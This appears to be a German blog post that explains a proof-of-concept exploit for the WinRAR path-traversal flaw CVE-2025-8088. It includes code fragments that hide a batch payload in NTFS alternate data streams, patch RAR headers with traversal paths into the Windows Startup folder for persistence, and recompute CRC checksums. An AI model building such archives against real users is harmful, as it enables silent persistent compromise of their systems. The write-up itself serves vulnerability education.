
CVE-2025-8088
Hinweis: Dieser Inhalt dient ausschließlich zu Bildungs- und Forschungszwecken. Verwenden Sie diese Informationen nicht für böswillige Aktivitäten.
Heute tauchen wir tief in eine faszinierende Path-Traversal-Schwachstelle ein, die als CVE-2025-8088 geführt wird. Diese Schwachstelle ermöglicht es einem Angreifer, beim Extrahieren eines speziell präparierten RAR-Archivs eine beliebige Datei an einen beliebigen Ort auf dem System des Opfers zu schreiben. Was diesen Exploit besonders interessant macht, ist sein "Schrotflinten"-Ansatz, der eine erfolgreiche Payload-Zustellung unabhängig davon gewährleistet, wo der Benutzer das Archiv extrahiert.
Dieser Beitrag zerlegt die Technik, die im bereitgestellten Python Proof-of-Concept (PoC) verwendet wird, um die schädliche .rar-Datei zu erstellen.
Das Endziel dieses PoC ist klassisch und effektiv: Persistenz. Durch die Ausnutzung der Path-Traversal-Schwachstelle zielt der Exploit darauf ab, eine Payload (payload.bat) in den Windows-Startup-Ordner (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) abzulegen. Jede hier platzierte ausführbare Datei oder jedes Skript wird beim nächsten Benutzer-Login automatisch ausgeführt und gewährt dem Angreifer dauerhaften Zugriff.
Das Python-Skript automatisiert einen mehrstufigen Prozess, um die endgültige exploit.rar zu erstellen. Gehen wir seine Logik Schritt für Schritt durch.
Als Erstes bereitet das Skript die Komponenten vor:
payload.bat wird erstellt. Dies ist die schädliche Datei, die wir auf dem Rechner des Opfers ablegen möchten.PAYLOAD = "@echo off\necho Payload executed!\npause\n"
file1.txt, file2.txt usw.). Diese Dateien dienen zwei Zwecken: Sie lassen das Archiv legitim erscheinen, und noch wichtiger, sie fungieren als Träger für unsere versteckte Payload.def create_files() -> Tuple[List[Path], Path]:
# ...
for i in range(NUM_DEPTHS):
decoy = Path(f"{DECOY_FILE_PREFIX}{i+1}.txt")
" X " * 200) wird definiert. Dieser Platzhalter wird in die Metadaten des Archivs eingebettet und später durch unseren schädlichen Pfad ersetzt.Dies ist ein zentraler Teil der Technik. Anstatt eine Datei mit einem Traversal-Pfad zu benennen, nutzt das Skript eine Funktion des NTFS-Dateisystems namens Alternate Data Streams (ADS). ADS ermöglicht es, Daten innerhalb einer bestehenden Datei zu "verstecken".
Das Skript hängt die payload.bat als ADS an jede Täuschungsdatei an. Der Name dieses Streams ist der Ort, an dem der Platzhalter verwendet wird. Im Wesentlichen erzeugt es Dateipfade, die für das Dateisystem so aussehen:
file1.txt:XXXXXXXXXXXXXXXXXXXX...
Der Inhalt von payload.bat ist nun heimlich in file1.txt gespeichert.
def attach_ads(decoy: Path, placeholder: str):
"""Attach payload to decoy as Alternate Data Stream"""
ads_path = f"{decoy}:{placeholder}"
with open(ads_path, "wb") as f:
f.write(Path("payload.bat").read_bytes())
Als Nächstes sucht das Skript das Kommandozeilen-Tool Rar.exe auf dem System und verwendet es, um ein legitimes Basis-Archiv (base.rar) zu erstellen. Dieses Archiv enthält alle Täuschungsdateien, die nun heimlich die Payload in ihren Alternate Data Streams tragen.
An diesem Punkt ist base.rar ein völlig gültiges, nicht schädliches Archiv. WinRAR kann es problemlos extrahieren, und es wird die Täuschungsdateien mit ihren langen, seltsamen ADS-Namen erstellen.
def create_base_rar(rar_exe: str, decoys: List[Path]) -> Path:
# ...
subprocess.run(
f'"{rar_exe}" a -ep -os "{base_rar}" {files}',
# ...
)
Hier wird der Exploit clever und widerstandsfähig. Der Angreifer weiß nicht, wo das Opfer das Archiv extrahieren wird. Wird es C:\Users\opfer\Downloads sein? C:\? D:\Temp?
Um diese Unsicherheit zu überwinden, generiert das Skript eine Liste verschiedener Path-Traversal-Zeichenketten, jede mit einer anderen Tiefe:
..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.batDie Idee ist, dass durch die Bereitstellung mehrerer Tiefen mindestens eine von ihnen erfolgreich vom Extraktionsverzeichnis zurück zum Dateisystem-Root (wie C:\) und dann in den Ziel-Startup-Ordner navigieren kann.
def build_relative_paths() -> List[str]:
"""Generate paths with different traversal depths"""
paths = []
for depth in range(1, NUM_DEPTHS + 1):
paths.append(("..\\" * depth) + RELATIVE_DROP_PATH)
return paths
Dies ist das Herzstück des Exploits. Das Skript öffnet base.rar im Binärmodus und führt eine Operation daran durch.
Es iteriert durch die interne Struktur des Archivs und sucht nach dem Header jeder Datei (file1.txt, file2.txt usw.). Innerhalb jedes Headers findet es den Platzhalter-ADS-Namen (:XXXXXXXXXXXXXXXXXXXX...) und ersetzt ihn durch einen der im vorherigen Schritt generierten bösartigen Traversal-Pfade.
file1.txt erhält den Pfad mit ..\.file2.txt erhält den Pfad mit ..\..\.def patch_rar(base_rar: Path, placeholder: str, relative_paths: List[str]) -> Path:
# ...
while pos + 4 <= len(data) and current_file_index < len(target_paths_utf8):
# ...
# Find the placeholder and replace it with the target path
c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
# ...
Eine bloße Änderung der Header-Daten würde das Archiv beschädigen. WinRAR verwendet eine CRC32-Prüfsumme, um die Integrität jedes Header-Blocks zu überprüfen. Stimmt die Prüfsumme nicht mit dem Header-Inhalt überein, wird ein Fehler ausgegeben.
Das PoC antizipiert dies. Nachdem ein Header mit dem bösartigen Pfad gepatcht wurde, berechnet es die korrekte CRC32-Prüfsumme für den gesamten modifizierten Header-Block neu und schreibt die neue Prüfsumme zurück in die Datei. Dadurch erscheint das manipulierte Archiv für WinRAR als vollkommen gültig.
def rebuild_all_header_crc(buf: bytearray) -> int:
"""Recalculate CRC checksums for all headers"""
# ...
while pos + 4 <= len(buf):
# ...
# Calculate CRC for the header region
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
# Write the new CRC back into the buffer
struct.pack_into("<I", buf, block_start, crc)
# ...